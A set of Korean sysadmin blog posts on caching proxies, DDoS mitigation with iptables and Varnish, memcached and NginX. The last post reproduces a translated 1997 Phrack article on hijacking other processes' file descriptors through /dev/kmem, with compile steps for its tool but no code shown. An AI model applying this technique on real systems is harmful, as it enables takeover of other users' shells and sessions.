System Compleat.

Global, 혹은 Cache 에 대한 시스템적 고민

Techs
( 정윤진, yjjeong@rsupport.com )

간혹 그런 생각이든다.
'과연 시스템적으로 단순한 웹 서비스 구조에서 글로벌을 감안 할때, 메인 시스템 인프라와 같은 규모의 시스템이 지역적으로 필요 할 것인가'

이에 대한 답은 서비스의 동작에 따라 다르겠지만, 단순 컨텐츠의 경우 CDN 등을 이용하는 숱하고 숱한 방법들은 이미 많다.
하지만, 정적 컨텐츠 이외의 동적 컨텐츠가 많은 지역별 거점을 중심으로 운용되는 서비스의 경우에 시장성이 불투명하지만 일부 고객을 위해 서비스를 지속해야 하는경우, 제일 고민 되는 부분은 역시 시스템 및 관리를 위한 비용, 소위 말하는 TCO 가 관건이 되지 않을까.

미국에 메인 센터가 있고, 유럽에 일부 고객이 발생되기 시작한 시점에 사업 규모로서는 유럽에 미국만큼 큰 센터를 두는게 맞겠지만, 아직 얼마만큼의 고객이 확보 될지 모르는 지역에 대규모의 인프라 비용을 투자하는건 아무래도 리스크가 따르기 마련이다.

이런 경우의 해법이 무엇일까 하는 부분은 서비스의 유형별로 많이 다르겠지만, 일반적 웹 서비스에서 이런 질문은 이렇게 치환 될 수 있을 것이다.
'네트웍 회선 품질이 현저한 지역에 고품질의 서비스가 필요한 경우, 어떻게 해결 할 수 있을까?'

파일 전송을 주로 하는 서비스라면 CDN 과 같은 글로벌 업체를 통하는 방법외에는 답을 찾기 쉽지 않다. 하지만 채팅이나, image 서버를 별도로 구성한 웹 서비스의 경우, css 나 js, html 등의 몇 kb 전송에도 수초가 걸리는 상황이라면,  답은 Proxy 에서 찾을 수 있지 않을까.

웹 - WAS - DB 의 경우에는, GeoIP 를 사용할 수 있는 DNS 또는 웹 서버를 사용하여 웹 서버 자체를 글로벌하게 운용하여 답을 찾을 수도 있다.  또는, 웹 서버 자체가 많이 무겁다면, 효율적으로 Cache 를 수행하는 NginX 나 Varnish 등을 통해 적절한 프락싱을 통해 비슷한 해답을 얻을 수도 있을 것이다.

앞에서의 예와 같이, 미국에 수억의 시스템이 있다.  이를 일본과 유럽에 서비스 하고 싶다면, 일본과 미국에 저렴한 서버 호스팅 또는 , 가능한 경우 Amazon 의 EC2 와 같은 서비스에 서버를 한대 둔다.  여기에 NginX 나 Varnish 를 올리고, 필요한 경우 memcached 등과 같은 로직에 녹여 낼 수 있는 캐슁 툴 및 opcode 레벨의 cache 를 지원하는 각종 자원을 사용하거나, 아니면 아주 단순하게 squid 등의 오래된 고전적인 proxy를 통하여, OS 또는 시스템의 자체 Cache 를 믿고 서비스 하는 방법- 


뭐, 이미 이러한 방법을 수행하고 있는 업체도 많겠지만 중요한건 저렴한 비용으로 어느정도 동적인 컨텐츠에 대한 지역별 분산을 노릴 수 있는 잇점이 있다. 

아직 테스트 해 보진 않았지만, 일본에서 네이버와 같은 ( 네이버는 URL 구조가 좀 복잡하지만 ) 웹 서비스에 대해 squid 만 돌려 보아도 그 효과는 순식간에 나타난다.
뭐, 일부 사람들은 CDN 과 같은거 아니냐  라고 할 수 도 있지만, 틀린말은 아니다.
다만 CDN 을 운용하면서 발생 하는 비용이  직접 서버를 간단하게 구성해서 운용하는 비용보다 저렴 하지는 않을 것으로 생각된다.

똑같은 요청을 반복해서 처리 ( 단순 Static 한 컨텐츠가 아닌, 일부 동적인 자원에 대해서도 장기적으로는 동일한 요청에 대한 응답이므로 ) 하는 정도로 시장성이 충분 해 질 때 까지 지역적 서비스를 선별적으로 빠르게 할 수 있다면, ( 물론 로그인과 같은 DB Connect 가 발생하는 액션은 여전히 느리겠지만 ) Comet 이나 간단한 채팅,  css 또는 html, php 와 같은 자원에 대해서는 환상적인 현지 고객의 만족을 얻어 낼 수 있을 것이다.


역시, 오픈소스는 조합하기 나름인가 보다.

Protect from DDoS with Proxy, Varnish

Techs
( 정윤진  yjjeong@rsupport.co.kr )

서비스를 운영하다 보면, 심심치 않게 종종 발생하는 DDoS 공격을 볼 수 있다.
이 DDoS 공격은, 정말 아무리 좋은 회사의 L7 방화벽 장비를 이용해도 결국 Edge 레벨에서의 방어이기 때문에 IDC에서 너네 골치아프니 나가라 하면 눈물을 머금고 다른 데이터 센터를 향해 떠돌이 신세로 전락하는 경우가 많다.

내 생각에 가장 최선의 DDoS 방어 기법은, 회선 속도 자체가 서버 Down 을 발생 시키지 않을 만큼의 낮은 대역폭이거나,  아니면 정말 화끈하게 분산 구조를 충분히 적용하여 100Gbps 이상의 트래픽을 견디어 낼 수 있는 인프라를 가지는 방법밖에 없다.  전자의 경우 적당히 저렴한 사양의 장비와 잘 구성된 서버만 있다면 Edge 레벨에서의 방어를 통해 어느정도 서비스 Down은 막아 낼 수 있으며 얼마 되지 않는 트래픽 때문에 IDC에서 쫒겨 나지도 않는다. , 후자의 경우는 100Gbps 이상의 트래픽을 공격자가 유발시키기 이전에는 절대 서비스가 정지하지 않는다.

하지만, 대체 누가 100Gbps 이상의, 아니면 충분히 타협해서 50Gbps 이상의 공격을 잘 견디어 낼 수 있겠는가.

이에 대한 방책은 DNS 의 우회를 통한 Proxy Farm 의 구성이 아닌가 싶다.  다만 이러한 방법으로도 역시 서비스가 정지할 가능성은 있어서, 내 생각에 최선의 해법은 공격자로 의심되는 좀비PC 의 트래픽을 선별해서 Proxy 로 가도록 우회 시키는 것이 좋다고 본다.

자, 그럼 대체 어떻게 Proxy Farm 을 구성해야 하며, 어떻게 공격 클라이언트를 구분지을 것인가.

답은, iptables + varnish 의 조합으로 가능하지 않을까 싶다.

일단 저렴한 가격의 FTTH 또는 10M 미만의 회선을 받도록 하고, 여기에 LVS 등과 같은
로드밸런서를 붙인다.  이 로드밸런서 아래의 Real Server 들은 모두 Varnish 로 구성하도록 하고 이 아래에 서비스 서버와 동일한 웹서버를 두던지, 아니면 Varnish 자체가 Proxy 동작하므로 실제 서비스하고 있는 서버의 IP 를 박아준다.

이렇게 서버들의 구성이 끝나게 되면, 다음은 Redirect 처리다.

네임서버를 직접 운영하고 있다면, 네임 서버를 한대 더 증설하고 환경을 사설망으로 바꿔서 DNAT 처리를 하던, 공인 망에서 SLB 를 하던, 앞단에 iptables 를 올릴 서버를 한대 더 구성한다.  이쯤에서 이미 눈치 챘겠지만,  새로 만든 BIND 서버는 우리가 서비스하는 a.com 이라는 도메인에 대한 A 레코드를 새로 구성한 Proxy Farm 의 공인 IP 로 지정한다.

자, 그럼 iptables 의 조건에 걸리도록 하려면 어떻게 해야 하는가.
답은, 실 서비스 도메인인 a.com 에 대한 TTL 값을 굉장히 짧게 주는 것이다.
이후, 네임 서버 앞쪽의 iptables 에서 udp 53을 dest로 하는 패킷에 대해 특정 시간안에 많은 요청이 있게 되면 지정해 둔 내부의 네임서버로 포워딩 되도록 룰을 설정한다. 
충분한 테스트를 수행하고, 적절한 count 로 설정해야 훗날 방비가 됨은 물론이겠다.
또한, 좀비 PC 들의 공격이 우리나라에서 발생되는지, 아니면 중국등 외국에서 발생되는지를 파악해서 만약 한국 전용 서비스인데 중국등지에서 공격이 온다면, geoip 를 사용한 iptables 정책으로도 수용 가능 하겠다.

이와 함께 조정해야 할 것은, 웹 서버의 Keep alive timeout 에 대한 지정이다.  정상적인 사용자의 경우 브라우저를 통해 서비스 받을 것이기 때문에 별 문제가 없으리라 생각된다.

자, 그럼 이제 끝났는가?  아니다.
DDoS 공격을 위한 좀비들의 공격에서 보다 더 자유로워 지려면 실 서비스 구간에도 준비해야 한다.  앞서 적용한 iptables 를 동일하게 서비스 구간에도 준비하여 준다.


사실, 이 방법은 내가 만든 카더라 아이디어다.  이 아이디어의 요지는, 다음과 같다.

1.  공격자의 IP를 솎아 내고, 지정한 패턴으로 공격이 발생하는 경우 해당 클라이언트IP를
     Proxy Farm 으로 보낼 수 있어야 한다.

2. Proxy Farm 은 비교적 성능이 출중한 Varnish 를 사용하도록 한다.

3. 애초에 DNS 레벨에서 응답을 Proxy 쪽으로 줄 수 있어야 한다.
    실 서비스 망에서 처리하려 하는경우, 대역폭 문제로 IDC에서 쫒겨 날 가능성이 있다.

4. L7 레벨로 처리하지 않아도 된다.  단순 IP 레벨에서 요청에 대한 횟수 제한 조건만으로
   처리하여 장비 비용에 대한 부담을 줄인다.

5. 모든 DDoS 공격은 평생 지속되지 않는다.  공격 발생시 바로 신고하여 향후 피해를 줄인다.

6. 대역폭이 100M 미만이라면, 그냥 DDoS 전용 방어 장비를 구입하는것도 방법이다.


이런 방법을 수행하기 위해 iptables 와 proxy 서버를 예로 들었지만, 보다 좋은 방법이 있을 수도 있다.  애초에 L7 방화벽등이 있다면, 사용 가능한 많은 방법이 존재 할 것이다.
또는 이미 nginx 나 varnish 등을 실 서비스에 이용하고 있다면 보다 유연한 방어를 수행 할 수 있다.

한번 쯤은 이런 대책없는 공격에 대해 고민해 보고, 테스트를 통해 나만의 계획을 가질 수 있지 않을까 한다.

훗, 정작 Varnish 자체에 대한 이야기는 없어서, 다음에 다시 소개해야겠다.
내가 이래.. ㅎ


기타 구체적인 각 서버의 설정 등은, 다음의 링크를 참조 한다.

참고자료.
http://varnish.projects.linpro.no/

http://www.netfilter.org/

http://www.techsupportforum.com/networking-forum/security-firewalls/284749-iptables-conditional-redirect.html

Memcached 의 사용.

Techs

정윤진 ( yjjeong@rsupport.co.kr )


시스템을 하면서 느끼는 부분은, 개발에서 어떤 시스템 자원을 필요로 하는지 모르면 최상의 퍼포먼스를 구현하기 어렵다는 점이다. 뭐 해보신 분들에게는 당연한 이야기겠지만, 다르게 말하면 어플리케이션 ( 웹이던 웹이 아니던 ) 에서 사용하는 라이브러리나 함수를 모르고는 극한의 튜닝은 힘들고, 이 마저도 제대로 건드리지 못하면 사용자 몇백명에도 버벅대는 시스템이 나올 수 있다.   또는 문제가 발생한 경우, 실제 개발자가 나는 잘못 없어 라고 두손 두발 들어버리면 각종 장애에 대한 부담은 시스템 하는 사람이 떠안기 때문에, 괜히 문제도 없는 시스템에서 패킷 덤프도 뜨고 메모리 덤프도 떠 가면서 GC는 정상 동작 하는지, 각 프로세스나 스레드의 상태등을 체크하면서 상욕을 하는 경우도 많이 있다.

따라서 개발자 만큼은 아니더라도 적어도 우리가 서비스 하고 있는데 사용되는 핵심적인 라이브러리와, 그 라이브러리가 어떠한 방식으로 시스템 자원을 사용하는지 정도에 대한 이해는 항상 필요하지만 요즘과 같이 윈도우, 유닉스등 멀티 플랫폼으로 구성된 서비스의 경우엔 많이 헤메기 마련이다. 그래서, 사실 쉽지 않은 직업이라고도 생각한다.

유닉스의 경우엔, 최악의 경우 strace 를 사용해 보는 방법 ( 극악 무도한 방법이면서 시간이 걸리긴 하지만 ) 을 통해 추적의 실마리 정도는 잡아 낼 수 있다.  농담처럼 아파치에 strace 거는 소리 하고 있네  라고 떠들기도 하지만, 실제 이렇게 잡아내는건 거의 노가다란 사실.
그나마 Open Solaris 등 최신의 SunOS 들은 dtrace 라는 막강한 툴을 제공하기도 하지만.

뭐 서론이 너무나도 길어져 버렸지만, 오늘 이야기 하고자 하는 Memcached 는 이름에서와 같이 Cache 처리를 하는 어플리케이션이다.  PHP 에도 붙이고, 아파치에도 붙이고, Nginx 및 원하면 Perl 에도 가져다 붙일 수 있는 이 강력한 캐시관련 툴은, 경우에 따라 비약적인 서버성능을 가져다 줄 수 있다.

PHP의 extension 으로 제공되는 eAccelerator 나, xcache 와는 다르다.
( 덧붙이자면, eAccelerator 는 실행 환경에 사용될 수 없기 때문에 최근에는 xcache 를 더 선호하는 편이다. )

모든 Cache 가 그렇지만, 적용을 잘 해야한다.  이 잘 해야 한다는 말의 의미는, 데이터가 자주 변경될 가능성이 있는곳에 가져다 붙이면 쓸데 없이 데이터를 cache 에 넣거나, 넣은 데이터가 맞는 데이터인지 검증해야 하는 오버헤드가 붙게 된다.  하지만,  데이터가 자주 변할 가능성이 낮은 구간에 적용한다면 비약적인 성능의 향상을 가져 올 수 있다.


더군다나 풍부한 클라이언트 API의 지원으로, php, perl, python, ruby, java 뿐 아니라
MySQL, PostgreSQL 에도 적용 가능한 UDF 도 제공하기 때문에 그것이 웹 - DB 의 중간자이든, 웹에서 사용되는 세션이건, 각 서비스에 필요한 어떠한 형태의 무엇이건 간에 그 사용의 단순성으로  어느 서비스에나 쉽게 적용 될 수 있겠다.


memcached 는 기본적으로 객체 ( Object ) 를 저장하는데 사용되지만, string 과 같은 직렬화 될 수 있는 어떤 변수라도 저장 할 수 있다.  memcached 에 데이터를 넣는데는 다음 4개의 인자만 주어지면 된다.

유일 키 - 캐시 내부의 데이터 검색용. 레코드 자체가 고유 아이디인 경우 ( 이를테면 세션 ) 그 자체로 키로서 사용 가능하다.

저장 변수 - 직렬화 되어 저장되고 비 직렬화 되어 검색될 수 있다면 어떤 유형이든 가능하다.

Boolean -  압축 여부  ( 압축에 의한 오버헤드와 메모리 저장공간에 대해 생각한다 )

Cache Expire time -  캐쉬가 종료될 시간을 지정한다. 0으로 지정된 경우 캐시에서 절대 지워지지 않는다.

뭐 예제의 경우, 나보다 더 잘 써 놓은 사람들이 있으니 내가 새로 짤 필요는 없다고 생각한다.
따라서 danga 페이지의 Perl 에 적용한 예를 퍼다 담아 본다.


Perl Example

sub get_foo_object {
   my $foo_id = int(shift);
   my $obj = $::MemCache->get("foo:$foo_id");
   return $obj if $obj;

   $obj = $::db->selectrow_hashref("SELECT .... FROM foo f, bar b ".
                                   "WHERE ... AND f.fooid=$foo_id");
   $::MemCache->set("foo:$foo_id", $obj);
   return $obj;
}


리눅스 및 유닉스 등에서 각종 시스템 관리 에 사용하는 툴에도 물론 사용 가능하겠다.
뭐 조악한 예를 들자면, DB 에 저장된 각 시스템의 리소스들에 대한 접근 정보를 퍼담아서
캐쉬에 넣고 사용 할 수도 있겠지.

아무튼 memcached 에 넣은 데이터에 대한 검색, 생성, 삭제 등 모든 액션이 가능하고,
TCP/IP 를 지원하기 때문에 실 시스템의 위치에 관계 없이 구성 가능 하다.

실제 성능에 대한 분석은, 이것 역시 굳이 직접 하지 않아도 될 일이다.  본인이 일하고 있는
사이트에서 이러한 로직을 적용 가능한 구간을 색출하여 한번 비교 분석해 보면 될 일이다.


시스템 관리자가 할 일은, 코드레벨에서 로직의 검증이 아니다. 성능을 분석하고, 사용 가능한 각종 퍼포먼스 튜닝의 방법을 로직에 어떻게 적용할지에 대한 사용가능한 가장 안정적인 해법과 실제 구현을 위한 개발자와의 대화 능력이다.  실 서비스에 적용하기 전에 베타시스템이 존재한다면 베타에 적용하여 두고, 각 API 에 대한 링크를 개발자에게 주는 것만으로 큰 도움이 될 수 있다.


요새는 뭐 항상 당연한 이야기만 쓰고 있는것 같은데, 암튼 2년전에 사용했던 memcached 는
아주 유용 했기에, 요새 nginx 때문에 다시금 보게 되어 반가운 마음에 한번 정리한다.

설치나 기타 뭐 APM 과 같은 환경에서의 운용은, 다른 분들이 잘 설명해 놓은게 많지만
나는 IBM의 링크를 추천한다. ( 다른 PHP 관련 튜닝도 볼 수 있으니까 )


우리 서비스 ( Rsupport 의 서비스 ) 에 적용 할 수 있는 부분은, 아마도 닷넷용 클라이언트 라이브러리를 사용하여 서비스에 녹이는 방법이 있을 수 있겠다.  닷넷쪽에는 이번에 MS MVP이신 webgenie 님이 ( 장현희 과장님이 ㅋ ) 새로 오셨기 때문에  만약 필요 하다면 언제는 지원이 가능할 것이라 생각 된다.  후훗, 앞으로 만들어질 서비스가 기대 된다.


관련 페이지:
memcached Home page
http://www.danga.com/memcached/

IBM 의 memcached 를 사용한 PHP 성능 향상에 관한 링크
http://www.ibm.com/developerworks/kr/library/os-php-fastapps3/index.html

sf.net 의 memcached client library
http://sourceforge.net/projects/memcacheddotnet/

윈도 서버 사용자라고 울지 마시라!   memcached for win32
http://jehiah.cz/projects/memcached-win32/



NginX - Useful Proxy

Techs

정윤진 ( yjjeong@rsupport.co.kr )

비교적 시스템적으로 간단한 현실세계의 웹 서비스 구조는, 요 몇년 전 부터 비약적으로
발전하고 있다.  글로벌 서비스의 영향 및 지역적으로 다른 망 속도의 영향, 서비스 구조의 복잡성 증가 등으로 인해  각종 스토리지 및 데이터베이스 튜닝,  서버 자원에 대한 업그레이드
만으로는 이제 힘든 시기가 되었다.

따라서 복잡한 로직의 경우에 분산 시스템 구조를 도입하는것이 필연 적이며, 이에 대해서 동일 목적의 서버간 그룹화 하고 더 나아가서는 특정 부하유발 구간 ( 병목구간 ) 에 더 많은 리소스를 투입하여 세분화된 분산 구조를 적용해 준다면, 더 좋은 서비스 퍼포먼스를 기대 할 수 있다.

기존의 APM 구조의 경우 필요한 모듈을 모두 가져다 붙이면 서버는 무겁게 동작하게 되고
따라서 웹서버와 이미지 서버의 분리와 같은 방법등이 등장하였으며, L4 를 사용한 서버 로드밸런싱, Apache 를 대신할 lighttpd 등과 같은 Light Weight 웹 서버등이 그것이다.  물론
규모에 따라 CDN 을 도입 할 수도 있겠지만, 이는 네임 서버의 커스터마이징 또는 상용 솔루션
( 이를테면 F5 Networks 의 Big-IP GTM 와 같은 ) 을 사용하여 자금력이 있는 경우 직접
CDN 비슷한 효과를 낼 수 있다.

이번 프로젝트에 사용했던 이 놀라운 웹서버는, 주 목적이 L7 Level 의 Proxing 이다.
실제 서버 구성은 AJ  ( Andrew J. Kim ) 가 거의 다 했지만. ㅋㅋ;

Nginx 홈페이지에서 말하고 있는 대략적인 기능은 다음과 같다.

Basic HTTP features;

  • Handling of static files, index files, and autoindexing; open file descriptor cache;
  • Accelerated reverse proxying with caching; simple load balancing and fault tolerance;
  • Accelerated support with caching of remote FastCGI servers; simple load balancing and fault tolerance;
  • Modular architecture. Filters include gzipping, byte ranges, chunked responses, XSLT, and SSI. Multiple SSI inclusions within a single page can be processed in parallel if they are handled by FastCGI or proxied servers.
  • SSL and TLS SNI support.

    Mail proxy server features:

    • User redirection to IMAP/POP3 backend using an external HTTP authentication server;
    • User authentication using an external HTTP authentication server and connection redirection to internal SMTP backend;
    • Authentication methods:
      • POP3: USER/PASS, APOP, AUTH LOGIN/PLAIN/CRAM-MD5;
      • IMAP: LOGIN, AUTH LOGIN/PLAIN/CRAM-MD5;
      • SMTP: AUTH LOGIN/PLAIN/CRAM-MD5;
    • SSL support;
    • STARTTLS and STLS support.

    Tested OS and platforms:

    • FreeBSD 3 — 7 / i386; FreeBSD 5 — 7 / amd64;
    • Linux 2.2 — 2.6 / i386; Linux 2.6 / amd64;
    • Solaris 9 / i386, sun4u; Solaris 10 / i386, amd64, sun4v;
    • MacOS X / ppc, i386;
    • Windows XP, 2003;

    Architecture and scalability:

    • one master process and several workers processes. The workers run as unprivileged user;
    • kqueue (FreeBSD 4.1+), epoll (Linux 2.6+), rt signals (Linux 2.2.19+), /dev/poll (Solaris 7 11/99+), event ports (Solaris 10), select, and poll support;
    • various kqueue features support including EV_CLEAR, EV_DISABLE (to disable event temporalily), NOTE_LOWAT, EV_EOF, number of available data, error codes;
    • sendfile (FreeBSD 3.1+, Linux 2.2+, Mac OS X 10.5), sendfile64 (Linux 2.4.21+), and sendfilev (Solaris 8 7/01+) support;
    • accept-filter (FreeBSD 4.1+) and TCP_DEFER_ACCEPT (Linux 2.4+) support;
    • 10,000 inactive HTTP keep-alive connections take about 2.5M memory;
    • data copy operations are kept to a minimum.


    대략적인 시스템 구조를 그리면 다음과 같다.

    라우터 --- L4 --- NginX --- L2 --- Real SVRs

    이중화 하게 되면 부쩍 고민할 것들이 많아지겠지만 일단은 이런 구성이다.

    이 NginX 로 처리하고자 하는 것은, 비교적 적은 공인 IP 로 실제 내부 웹서버들에 대한
    요청 uri 의 라우팅이며 이를테면 이미지 서버가 아닌 웹 서버간에도 기능별 통합 및 분산을
    구현하고 memcached 까지 붙여주면 거의 날아 다닌다.

    linux 의 경우 기본적으로 epoll 및 sendfile 을 지원하기 때문에 성능에 대한 우려는 없으나,
    버전이 아직 0. 으로 다소 불안한 부분이 있을 수 있겠으나, 프로젝트 자체는 굉장히 오래된 것이어서 적절히 이중화 해 준다면 큰 효과를 볼 수 있을 것이다.
    이런말은 좀 그렇지만, 잘 구성할 수 있는 인력이 있는경우 F5 Big-IP LTM 에 Ram Cache 및
    Compress 의 feature 를 돈천만원씩 붇는 것 만큼 매력적이다.

    물론 php와 연동하는경우, xcache 및 fast-cgi 등을 원하는대로 가져다가 붙일 수도 있다.


    만약,  웹서버와 이미지 서버의 분리가 되어있고  웹서버가 수행 기능별 또는 플랫폼 별로
    분리를 해야 할 필요가 있다면 nginx 는 저렴한 비용으로 구축할 수 있는 가장 효과적인
    솔루션이 될 수 있다.  또는 내부 서버간 세션 공유 처리가 잘 되어 있다면, http 전용 서버와
    SSL 처리 전용 서버를 구분 할 수도 있다. 

    또는, 이미지 전용 도메인을 따로 따기가 힘든 경우, 이를 테면 image.a.com 과 같은 도메인
    으로 변경하려 하나  웹 소스가 난잡하거나, 도메인 변경이 쉽지 않은 경우에 다음과 같은
    내부 분산을 통해 효과를 거둘 수 있다.

    a.com/webroot  는 A 서버 그룹으로
    a.com/images   는 B 서버 그룹으로

    이 외에도, 별의 별 모듈이 다 있다.
    몇가지 쓸만한 것을 ( 직접 테스트 해 보진 않았지만~ ) 을 추려보면,

    GeoIP
    Gzip
    HTTP Limit Requests
    ..

    나머지는 아래의 wiki 를 참조 한다.  lighttpd 의 trac 과는 다르게,  굉장히 잘 정리 되어있어
    별도의 설명이 필요 없을 정도다.

    아무튼,
    이 놀라운 L7 Proxy ( 나는 그렇게 생각하고, 그렇게 쓴다. ) 에 대해서는 추후 몇몇 key config를 걸어 놓도록 하고, 실제 apache 와 nginx , lighttpd 등과의 비교를 시도해 보아야 겠다.

    http://wiki.nginx.org/Main
    http://nginx.net/

  • 10년전 번역의 기억.

    Techs
    ( 정윤진, yjjeong@rsupport.com )

    Too much hacking will hurts you.



    10년전 KHDP에서 번역했었던
    File descriptor hijacking 에 대한 글이 생각나
    구글링을 해 보았더니, 수정없이 그냥들 보고 있는게 많더라. 

    사실, FD Hijacking 정도 볼 것 같으면
    고딩의 저 어설픈 번역을 수정 할 법도 한데 그냥들 보고 있다는 말이지  홀홀.. 

    10년이 지난 지금, 아직도 저런 공격방법이 통할 지는 모르겠지만

    그 시절, 열정만을 가지고 밤새워 번역하고 코드 테스트도 해보며
    이땅에 리눅스 및 BSD가 창궐하기전 홀로 즐겼던 세상으로 다시 돌아가 본다.

    그때가 그립다.  순수했고, 열정적이었던 열 여덟살....
    그 열정으로 서른 살을 살았더라면,  난 지금 무엇이 되어 있었을까.

    - 회상에 잠시 빠졌던,  YZ's thought -




    ---- 10년 전 번역 본 ------

    -----------------------------[ Pearls Of Wisdom ]----------------------------

    Procrastination is the denial of death.
    Lift with your leg, not your back.

    ------[EOF

    -----[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 05 of 17

    ---------------------[ File Descriptor Hijacking

    --------------[ orabidoo <odar@pobox.com>

     

    소개
    ----

    우리는 종종 사용자의 권한을 넘어 root를 얻는 방법에 대한 tty hijacking에 대해
    듣곤한다. 이것을 위한 Sys V의 스트림(STREAMS)을 사용한 전통적인 툴과 리눅스에서
    loadable module을 사용하기위한 방법으로 본지의 50호에 특별히 소개된적이 있었다.

    나는 remote 또는 local머신의 루트를 얻는 간단한 테크닉을 소개하고자 한다. 리눅스와
    FreeBSD를 사용했다. : root가 kernel memory에 쓸수 있는 유닉스 비슷한 시스템이라면
    어디서나 가능하다.

    아이디어는 간단하다. :커널의 fd table을 약간 꼬아서, 하나의 프로세스에서 다른 프로세스로
    fd를 강제적으로 옮기는 것이다.
    이방법은 당신이 할수 있는 거의 모든일을 가능하게 한다. : 실행되고있는 커맨드의 output을
    파일로 리다이렉션 시킨다든지, 당신의 이웃의 텔넷 커넥션에서 까지도 가능하다.

     

    커널은 어떻게 열린 fd의 track을 지키는가.
    -----------------------------------

    유닉스에서, 프로세스가 fd로 이루어진 자원에 접근하는 방법은 open(),socket(),pipe()
    들과 같은 시스템 콜로서 가능하다. 프로세스의 관점에서 보면 , fd는 리소스에 대한
    불투명한 핸들이다. fd의 0,1,2는 각각 표준 입력, 출력, 에러를 나타낸다. 새로운
    descriptor는 항상 시퀀스에 올로케이트 되어있다.

    펜스(fense)의 다른면에서, 커널이 지키고, 서로다른 프로세스간에 fd table은 각 fd
    structure로의 포인터로 이루어진다. fd가 열려있지 않으면 포인터는 NULL이다. 반면에,
    structure는 fd자체에 대한 종류(file, socket, pipe, etc...)에 대한 정보를 가지고
    있으며, fd access에 대한 자원(파일의 inode, 소켓의 주소와 상태정보 등등..)의 데이터에
    대한 포인터를 함께 가지고 있다.

    보통 프로세스 테이블은 링크된 스트럭쳐의 리스트 또는 배열(array)로 구성되어있다. 주어진
    프로세스를 위한 스트럭쳐에서부터, 당신은 그 프로세스에 대한 내부의 fd테이블을 손쉽게
    찾을수 있을 것이다.

    리눅스에서, 프로세스 테이블은 task_struct의 구조체 배열("task"로 불려지는)이며, 구조체
    files_struct로의 fd배열을 가진(/usr/include/linux/sched.h 참조) 포인터를 포함하고
    있다. SunOS 4에서 프로세스 테이블은 fd들에 대한 정보를 가지고 있는 u_area로의 포인터를
    포함한 스트럭트 proc's의 링크드 리스트이다. FreeBSD에서 역시 allproc라 불리는 스트럭트
    proc's의 링크드 리스트이며, 그것은 fd테이블을 포함한 구조체 filedesc로의 포인터를 가진다.
    (/usr/include/sys/proc.h 참조)

    만약 당신이 커널 메모리에 쓰기 또는 읽기 access를 가지고 있다면(대부분 이것은 /dev/kmem
    을 읽거나 쓰는것과 같다.) fd테이블들의 잡탕속에서 열려진 fd를 프로세스에서 훔치는 것과,
    다른 프로세스에서 재사용하는것을 방해할것은 아무것도 없다.

    이것은 보안레벨 0등급이상에서 돌아가는 BSD4.4({Free,Net,Open}BSD)와 같은 시스템에서는
    동작하지 않는다. 저런 모드에서는 /dev/kmem, /dev/mem과 같은 곳으로의 접근이 불가능하다.
    그러나 많은 BSD시스템들은 약점이 있는 보안등급 -1에서 동작하며, StartUP스크립트를
    조작하여 다음번 재부팅때 보안등급을 -1로 끌어내리는것도 가능할 수 있다. FreeBSD에서는
    "sysct | kern.securelevel"명령어로 보안등급을 확인할수 있다. 리눅스역시 보안등급을
    가지고는 있지만, 리눅스는 /dev/kmem으로의 접근을 방해하지는 않을 것이다.

    File descriptor Hijacking
    ---------------------

    커널 내부의 변수들은 사용자 프로그램에 의해 수정될 수 없다.

    첫째로, 멀티 태스킹 시스템에서 당신은 변수의 주소를 찾아내고, 그 값을 바꾸는 사이에
    커널의 상태가 바뀌지 않는데 대한 아무런 잇점(guarantee)이 없다. 이것은 우리가 왜 이
    기술을 확실성에 목적을 둔 프로그램들에서 사용되어 질 수 없는지를 보여준다. 말했듯이,
    연습에서 난 실패한적이 없다. 왜냐하면 커널은 한번 할당되어진 (최소한 처음 20,32,64...
    프로세스당 fd) 이러한 종류의 데이터를 옮기지 않으며, 프로세스가 닫히거나 새로 fd를
    만들어 열때 시도하는것은 거의 불가능하다.

    First of all, on a multitasking system, you have no guarantee that the
    kernel's state won't have changed between the time you find out a
    variable's address and the time you write to it (no atomicity). This is
    why these techniques shouldn't be used in any program that aims for
    reliability. That being said, in practice, I haven't seen it fail, because
    the kernel doesn't move this kind of data around once it has allocated it
    (at least for the first 20 or 32 or 64 or so fds per process), and because
    it's quite unlikely that you'll do this just when the process is closing or
    opening a new fd. ---- 아리송해서 원문도 같이 붙여봅니당. ^^;;


    You still want to try it?

     

    단순한 목적을 위해, 우리는 두 프로세스간의 fd복제 또는 한 프로세스에서 다른 프로세스로
    리턴값이 없는 프로세스로의 fd passing을 시도하지는 않을 것이다.
    대신, 우리는 프로세스의 fd를 다른 프로세스의 fd와 교환할것이다. 이 방법은 우리가
    열려진 파일과 거래할수 있는 유일한 방법이며, 카운트 참조와 같은 방법은 사용하지 않을
    것이다. 이것은 가능한 한 간단하게 커널안에서 두개의 포인터를 찾아내고, 그것들을
    교환할 것이다. 약간 더 복잡한 버젼은 fd에 대한 3개의 포로세스와 원형순열(교환)을
    포함한다.

    당연히, 당신은 바꾸고자하는 fd에 일치할만한 리소스를 추측해서 알아내야만 한다. 실행되고
    있는 쉘의 완벽한 제어를 위해 당신은 표준입력, 출력, 에러를 원할것이며, 또 0,1,2로 불리는
    이 세가지 fd들을 취해야 할 필요가 있다.할 필요가 있다. 또, 당신은 텔넷 세션을 제어하기
    위해 텔넷이 인터넷의 다른 쪽과 대화하기위해 사용하는 inet socket의 fd를(주로 3)
    원할 것이며, 동작하는 다른 텔넷과 fd를 교환 할 것이다. 리눅스에서는 /proc/[pid]/fd
    에서 프로세스가 사용하는 fd를 얻을수 있다.


    Using chfd
    ----------

    우리는 마무리를 위한 도구로서 linux와 FreeBSD를 가지고 있다. 그것은 공평하게 다른
    시스템으로 t쉽게 옮겨(포팅되어) 질 수 있다.

    리눅스에서 chfd를 컴파일 하기 위해서는 리눅스 커널의 동작에 대해 몇가지 이해해야
    할것들이 있다. 만약 1.2.13이나 그 비슷한 것이라면, /* #define OLDLINUX */의 주석을
    지워야 할 필요가 있는데, 왜냐하면 커널의 구조가 그때 부터 바뀌었기 때문이다. 만약 2.0.0
    이나 그 이상이라면 다시 바뀔 수 있을 지라도 box의 바깥쪽에서도 동작할것이다.

    그리고 커널에서 심볼테이블을 찾아야 할 필요가 있는데, 그것은 아마 /boot/System.map또는
    그 비슷한데 있을 것이다. 이것은 실제 동작하고 있는 커널에 대해 일치한다는것을 확인해야
    한다.

    그리고 "take" 심볼의 주소를 뒤져봐야 할것이다. 이 값을 "00192d28"대신에 chfd에 넣어
    주어야 한다. 그리고 "gcc chfd.c -o chfd"명령과 함께 컴파일 해라.

    FreeBSD에서 컴파일 하기 위해서는 단지 FreeBSD 코드를 얻은후에
